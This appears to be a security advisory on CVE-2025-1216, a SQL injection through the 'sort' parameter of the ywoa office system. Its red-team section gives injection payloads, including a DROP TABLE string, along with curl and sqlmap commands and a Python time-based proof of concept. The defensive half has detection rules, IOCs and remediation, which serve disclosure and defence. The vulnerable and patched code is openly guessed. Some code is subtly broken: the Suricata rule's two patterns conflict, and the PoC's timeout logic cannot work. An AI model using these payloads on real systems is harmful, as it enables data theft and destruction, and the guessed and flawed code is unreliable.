CVE-2025-1216

Executive Summary

CVE-2025-1216 is a critical SQL injection vulnerability identified in the ywoa (YWOA) office automation system, affecting versions up to and including 2024.07.03. The flaw resides in the selectNoticeList function within the com/cloudweb/oa/mapper/xml/OaNoticeMapper.xml file. By manipulating the sort argument, an unauthenticated remote attacker can inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete database compromise. A public exploit has been disclosed, increasing the risk of active exploitation. The vendor has released version 2024.07.04 to address this issue.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the ywoa Java-based OA system. Organizations using ywoa should treat this as a critical supply chain risk due to the potential for data breach and lateral movement within the network.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, the vulnerability is classified as critical based on the public disclosure and ease of exploitation. A reasonable CVSS vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication required, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the MyBatis XML mapper file OaNoticeMapper.xml. The selectNoticeList function constructs a SQL query using the sort parameter without proper sanitization or parameterization.

Root Cause: The sort parameter is likely concatenated directly into the SQL query string, allowing an attacker to break out of the intended query structure and inject arbitrary SQL commands. For example, a typical vulnerable MyBatis mapping might look like:

<select id="selectNoticeList" resultType="map">
    SELECT * FROM oa_notice ORDER BY ${sort}
</select>

The use of ${} (string substitution) instead of #{} (parameterized placeholder) allows SQL injection.

Attack Vector: An attacker sends a crafted HTTP request to the endpoint that calls selectNoticeList, such as:

GET /oa/notice/list?sort=id DESC; DROP TABLE oa_notice;--

This would result in the execution of DROP TABLE oa_notice, potentially destroying data.

Vulnerable vs. Patched Code

Vulnerable Code (ywoa <= 2024.07.03):

<!-- OaNoticeMapper.xml -->
<select id="selectNoticeList" resultType="map">
    SELECT * FROM oa_notice
    <where>
        <!-- other conditions -->
    </where>
    ORDER BY ${sort}
</select>

Patched Code (ywoa >= 2024.07.04): The patch likely replaces ${sort} with a whitelist-based approach or uses #{} with a predefined set of allowed sort columns. For example:

<select id="selectNoticeList" resultType="map">
    SELECT * FROM oa_notice
    <where>
        <!-- other conditions -->
    </where>
    ORDER BY
    <choose>
        <when test="sort == 'id'">id</when>
        <when test="sort == 'title'">title</when>
        <otherwise>id</otherwise>
    </choose>
    <if test="order != null and (order == 'asc' or order == 'desc')">
        ${order}
    </if>
</select>

This ensures only expected values are used.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable ywoa instance (version <= 2024.07.03)
• Network access to the application

Exploitation Steps:

1. Identify the vulnerable endpoint: The selectNoticeList function is typically exposed via a REST API, e.g., /oa/notice/list.
2. Craft the injection payload: Manipulate the sort parameter.
   • Basic test: sort=id DESC;--
   • Data extraction: sort=id DESC UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   • Blind injection: sort=id DESC AND 1=1--
3. Execute the attack:

   curl -G "http://target/oa/notice/list" --data-urlencode "sort=id DESC; SELECT @@version--"
   

4. Automate with SQLMap:

   sqlmap -u "http://target/oa/notice/list?sort=id" --batch --dbs
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://target/oa/notice/list"
payload = "id DESC; WAITFOR DELAY '0:0:5'--"
params = {"sort": payload}
try:
    response = requests.get(target, params=params, timeout=10)
    print(f"Response time: {response.elapsed.total_seconds()} seconds")
except requests.exceptions.Timeout:
    print("Time-based injection successful")

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual sort parameter values containing SQL keywords (e.g., UNION, SELECT, DROP, --).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.
• Implement database activity monitoring for anomalous queries.

Hunting:

• Search for HTTP requests to /oa/notice/list with sort parameters containing special characters or SQL syntax.
• Check database logs for queries originating from the application that contain unexpected ORDER BY clauses.

Lab Setup:

1. Deploy a vulnerable ywoa instance using Docker:

   docker run -d -p 8080:8080 --name ywoa-vuln ywoa:2024.07.03
   

2. Access the application at http://localhost:8080.
3. Use the PoC above to test the vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /oa/notice/list with sort parameter containing SQL keywords (e.g., UNION, SELECT, DROP, --, #).
  • Unusual response times indicating time-based SQL injection.
• File IOCs:
  • Modified OaNoticeMapper.xml files (if attacker attempts to patch).
  • Suspicious files in the web root (e.g., webshells).
• Database IOCs:
  • Unexpected ORDER BY clauses in database logs.
  • New or modified database users.
  • Unusual data exports or large result sets.

Detection Engineering

YARA Rule

rule CVE_2025_1216_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting ywoa selectNoticeList"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1216"
    strings:
        $sqli1 = /sort=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#|;)/ nocase
        $sqli2 = /sort=.*(WAITFOR|DELAY|SLEEP|BENCHMARK)/ nocase
        $path = "/oa/notice/list"
    condition:
        $path and ($sqli1 or $sqli2)
}

Sigma Rule

title: SQL Injection Attempt Against ywoa selectNoticeList
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the sort parameter in ywoa's OaNoticeMapper.xml
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1216
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "/oa/notice/list"
        cs-uri-query|re: 
            - "sort=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#|;)"
            - "sort=.*(WAITFOR|DELAY|SLEEP|BENCHMARK)"
    condition: selection
falsepositives:
    - Legitimate use of special characters in sort parameter (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-1216 SQL Injection Attempt Against ywoa selectNoticeList";
    flow:to_server,established;
    content:"/oa/notice/list"; http_uri;
    pcre:"/sort=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#|;)/i";
    pcre:"/sort=.*(WAITFOR|DELAY|SLEEP|BENCHMARK)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ywoa to version 2024.07.04 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block SQL injection patterns in the sort parameter.
3. Restrict network access to the ywoa application to trusted IPs only.

Long-term Measures:

• Implement parameterized queries (using #{} in MyBatis) for all database interactions.
• Conduct a security audit of all MyBatis mapper files for similar injection points.
• Deploy a Web Application Firewall (WAF) with SQL injection prevention rules.
• Enable detailed logging and monitoring for all database queries.

Verification:

• After patching, verify the fix by attempting the exploit again.
• Review database logs for any signs of prior exploitation.

Valters IT